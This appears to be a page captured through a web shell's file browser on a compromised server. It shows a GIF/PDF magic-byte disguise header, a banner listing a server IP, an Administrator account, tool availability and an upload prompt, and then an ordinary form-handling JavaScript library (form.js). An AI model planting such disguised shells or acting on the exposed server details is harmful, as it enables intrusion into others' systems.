GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/js/ |
Upload File : |
// form.js if (!window.debugOn) { debugOn=false; } //debugOn = 1; // controlCheck(objId) // Check the checkbox or first radio. function controlCheck(objId) { if (debugOn) alert('controlCheck('+objId+")"); obj = document.getElementById(objId); // Get object. formId = document.getElementById(objId).form.name; // Get form Id. if (obj.type != 'radio') { document[formId][objId].checked = false; } else { objLen = document[formId][objId].length; document[formId][objId][0].checked = false; // Check the first radio. } } // checkboxGetValue(objId) // Get the checkbox value. function checkboxGetValue(objId) { if (debugOn) alert('checkboxGetValue('+objId+")"); obj = document.getElementById(objId); // Get object. formId = document.getElementById(objId).form.name; // Get form Id. if (obj.type != 'radio') { checkboxValue = document[formId][objId].checked; } else { objLen = document[formId][objId].length; checkboxValue = document[formId][objId][0].checked; } if (debugOn) alert('checkboxValue=['+checkboxValue+"]"); return checkboxValue; } // controlUncheck(objId) // Uncheck the checkbox or first radio. function controlUncheck(objId) { if (debugOn) alert('controlUncheck('+objId+")"); obj = document.getElementById(objId); // Get object. formId = document.getElementById(objId).form.name; // Get form Id. if (obj.type != 'radio') { document[formId][objId].checked = false; } else { objLen = document[formId][objId].length; for(var i = 0; i < objLen; i++) { document[formId][objId][i].checked = false; // Uncheck the first radio. } } } // elementDisable(objId) // Disable the form element. function elementDisable(objId) { //if (debugOn) alert('elementDisable('+objId+")"); obj = document.getElementById(objId); // Get object. if (obj != null) { formId = document.getElementById(objId).form.name; // Get form Id. objLen = document[formId][objId].length; if (obj.type != 'radio') { document[formId][objId].disabled = true; } else { for(var i = 0; i < objLen; i++) { document[formId][objId][i].disabled = true; } } } else { alert('elementDisable('+objId+") obj="+obj); } } // elementEnable(objId) // Enable the form element. function elementEnable(objId) { if (debugOn) alert('elementEnable('+objId+")"); obj = document.getElementById(objId); // Get object. formId = document.getElementById(objId).form.name; // Get form Id. objLen = document[formId][objId].length; if (obj.type != 'radio') { document[formId][objId].disabled = false; } else { for(var i = 0; i < objLen; i++) { document[formId][objId][i].disabled = false; } } } // elementHide(objId) // Hide the form element. function elementHide(objId) { if (debugOn) alert('elementHide('+objId+")"); obj = document.getElementById(objId); // Get object. formId = document.getElementById(objId).form.name; // Get form Id. objLen = document[formId][objId].length; if (obj.type != 'radio') { document[formId][objId].style.visibility = "hidden"; } else { for(var i = 0; i < objLen; i++) { document[formId][objId][i].style.visibility = "hidden"; } } } // elementShow(objId) // Show the form element. function elementShow(objId) { if (debugOn) alert('elementShow('+objId+")"); obj = document.getElementById(objId); // Get object. formId = document.getElementById(objId).form.name; // Get form Id. objLen = document[formId][objId].length; if (obj.type != 'radio') { document[formId][objId].style.visibility = "visible"; } else { for(var i = 0; i < objLen; i++) { document[formId][objId][i].style.visibility = "visible"; } } } // radioGetValue(objId) // Returns the value of the radio button that is checked. // Returns empty string if no buttons selected or radio control does not exist. function radioGetValue(objId) { if (debugOn) alert('radioGetValue('+objId+")"); if ( document.getElementById(objId) ) { obj = document.getElementById(objId); // Get radio object. formId = document.getElementById(objId).form.name; // Get form name. objLen = document[formId][objId].length; for(var i = 0; i < objLen; i++) { if(document[formId][objId][i].checked) { return document[formId][objId][i].value; } } } else { console.warn('radioGetValue '+objId+' is undefined.'); } return ""; } // radioSetValue(objId, newValue) // Sets the radio button with the given value as being checked. // Does nothing if there are no radio buttons. // If the given value does not exist, all the radio buttons are reset to unchecked. function radioSetValue(objId, newValue) { if (debugOn) alert('radioSetValue('+objId+","+newValue+")"); console.log('radioSetValue('+objId+","+newValue+")"); if ( document.getElementById(objId) ) { obj = document.getElementById(objId); // Get radio object. formId = document.getElementById(objId).form.name; // Get form name. objLen = document[formId][objId].length; for(var i = 0; i < objLen; i++) { document[formId][objId][i].checked = false; if(document[formId][objId][i].value == newValue.toString()) { document[formId][objId][i].checked = true; } } } else { console.warn('radioSetValue '+objId+' is undefined.'); } } function getElementValue(formElement) { //alert('formElement='+formElement); obj = document.getElementById(formElement); // Get object. if (obj) { if(obj.length != null) var type = obj[0].type; if((typeof(type) == 'undefined') || (type == 0)) var type = obj.type; //alert('0bj='+obj+' type='+type); switch(type) { case 'undefined': return; case 'radio': for(var x=0; x < obj.length; x++) if(obj[x].checked == true) return obj[x].value; case 'select-multiple': var myArray = new Array(); for(var x=0; x < obj.length; x++) if(obj[x].selected == true) myArray[myArray.length] = obj[x].value; return myArray; case 'checkbox': return obj.checked; default: return obj.value; } } else { alert(obj+' undefined'); } } // TextareaResizeAll(maxWidth) // Resizes all textareas on the page // maxWidth = The maximum textarea width. function TextareaResizeAll(maxWidth, minWidth, minHeight) { console.log(`${PC}TextareaResizeAll[maxWidth=${maxWidth}, minWidth=${minWidth}, minHeight=${minHeight}]`,CG); if ( minWidth == undefined ) minWidth = 20; // The textarea's minimum width. if ( minHeight == undefined ) minHeight = 2; // The textarea's minimum height. var textareas = document.getElementsByTagName("textarea"); // Get an array of textareas. console.log('textareas.length = '+textareas.length); for ( $i=0; $i<textareas.length; $i++ ) { // Loop through the textareas. TextareaResizeById(textareas[$i],maxWidth,minWidth,minHeight) // Resize this textarea. } } // TextareaResizeById(eId, maxWidth) // Called by TextareaResizeAll() to resize this textarea. function TextareaResizeById(eId, maxWidth, minWidth, minHeight) { console.log(`${PC}TextareaResizeById[eId=${eId.name}, maxWidth=${maxWidth}, minWidth=${minWidth}, minHeight=${minHeight}]`,CG); if ( minWidth == undefined ) minWidth = 20; // The textarea's minimum width. if ( minHeight == undefined ) minHeight = 2; // The textarea's minimum height. var width = 0; // Used to calculate the textarea's current width. var height = -1; // Used to calculate the textarea's current height. lines = eId.value.split('\n'); // Get an array of the textarea's lines. //alert('name='+eId.name+' value='+eId.value); for (var i = 0; i < lines.length; i++) { // Loop through each line. var linelength = lines[i].length; // Get the line length. if ( linelength > width ) width = linelength; // Increase width if needed. height++; // Increment height. } height += 2; console.log('width = '+width+', height = '+height); if ( width > maxWidth ) { width = maxWidth; height++; console.log('width = '+width+', height = '+height); } // If width too large reset it and increment height. if ( width < minWidth ) { width = minWidth; console.log('width = '+width); } // If width too small set to minWidth. if ( height < minHeight ) { height = minHeight; console.log('height = '+height); } // If height too small set to minHeight. if ( width > 0 ) { eId.cols = parseInt(width); console.log('eId.cols = '+eId.cols); } // Set the textarea's width. if ( height > 0 ) { eId.rows = parseInt(height); console.log('eId.rows = '+eId.rows); } // Set the textarea's height. }